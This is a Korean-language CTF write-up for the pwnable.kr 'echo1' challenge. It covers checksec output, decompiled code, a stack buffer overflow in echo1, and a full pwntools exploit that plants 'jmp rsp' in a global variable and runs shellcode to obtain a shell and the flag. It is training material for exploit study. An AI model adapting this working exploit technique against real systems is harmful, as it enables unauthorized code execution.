Description
Pwn this echo service.
download : http://pwnable.kr/bin/echo1
Running at : nc pwnable.kr 9010
checksec
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/pwnable.kr-echo1$ checksec ./echo1 [*] '/home/ubuntu/Desktop/dreamhack-CTF/pwnable.kr-echo1/echo1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
ASLR 및 카나리 보호기법 X + 쉘코드 실행 가능
Decompiled-src / Analysis
main
int __fastcall main(int argc, const char **argv, const char **envp) { _QWORD *v3; // rax unsigned int i; // [rsp+Ch] [rbp-24h] BYREF _QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; *((_QWORD *)o + 4) = byebye; printf("hey, what's your name? : "); __isoc99_scanf("%24s", v6); v3 = o; *(_QWORD *)o = v6[0]; v3[1] = v6[1]; v3[2] = v6[2]; id = v6[0]; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; for ( i = 0; i != 121; i = getchar() ) { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> "); __isoc99_scanf("%d", &i); getchar(); if ( i > 3 ) break; ((void (*)(void))func[i - 1])(); } if ( i == 4 ) break; puts("invalid menu"); } cleanup(); printf("Are you sure you want to exit? (y/n)"); } puts("bye"); return 0; }
처음에 scanf 함수를 통해 id라는 전역변수에 4바이트의 원하는 값을 입력할 수 있다.
그리고 echo type을 통해 1-4번 메뉴를 고를 수 있는데,
2, 3번 메뉴는 “not supported”라고 뜨는 반면,
1번 매뉴에서는…
echo1
__int64 echo1() { char s[32]; // [rsp+0h] [rbp-20h] BYREF (*((void (__fastcall **)(void *))o + 3))(o); get_input(s, 128LL); puts(s); (*((void (__fastcall **)(void *))o + 4))(o); return 0LL; }
위와 같이 1번 메뉴에서는
할당된 32바이트의 s 변수에 128바이트의 값을 입력받을 수 있어 BOF 취약점을 발생시킬 수 있다.
Solution
main 함수에서 id 변수에는 jmp rsp; opcode를 집어넣고,
echo1 함수에서 BOF 취약점을 발생시킬때,
echo1’s RET에는 id 주소값으로 덮고, 그 뒤에는 쉘코드로 페이로드를 구성하면 된다.
그러면 echo1 함수의 에필로그 끝에는 rsp가 쉘코드를 가리키게 되는데,
echo1’s RET에 덮어쓰여진 id 주소값의 jmp rsp; 명령어에 의해 쉘코드로 점프하게 된다!
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("pwnable.kr", 9010) #p = process("./echo1") e = ELF('./echo1', checksec=False) shellcode = asm(shellcraft.sh()) p.sendlineafter(b"hey, what's your name? : ", asm("nop; nop; jmp rsp")) p.sendlineafter(b"> ", b"1") p.sendline(b'A'*40 + p64(e.sym['id']) + shellcode) p.interactive()
Result
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/pwnable.kr-echo1$ python3 solve.py [+] Opening connection to pwnable.kr on port 9010: Done [*] Switching to interactive mode hello \x90\x90\xff\xe4 $ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0 ` goodbye \x90\x90\xff\xe4 $ ls echo1 flag log super.pl $ cat flag H4d_som3_fun_w1th_ech0_ov3rfl0w $ [*] Interrupted [*] Closed connection to pwnable.kr port 9010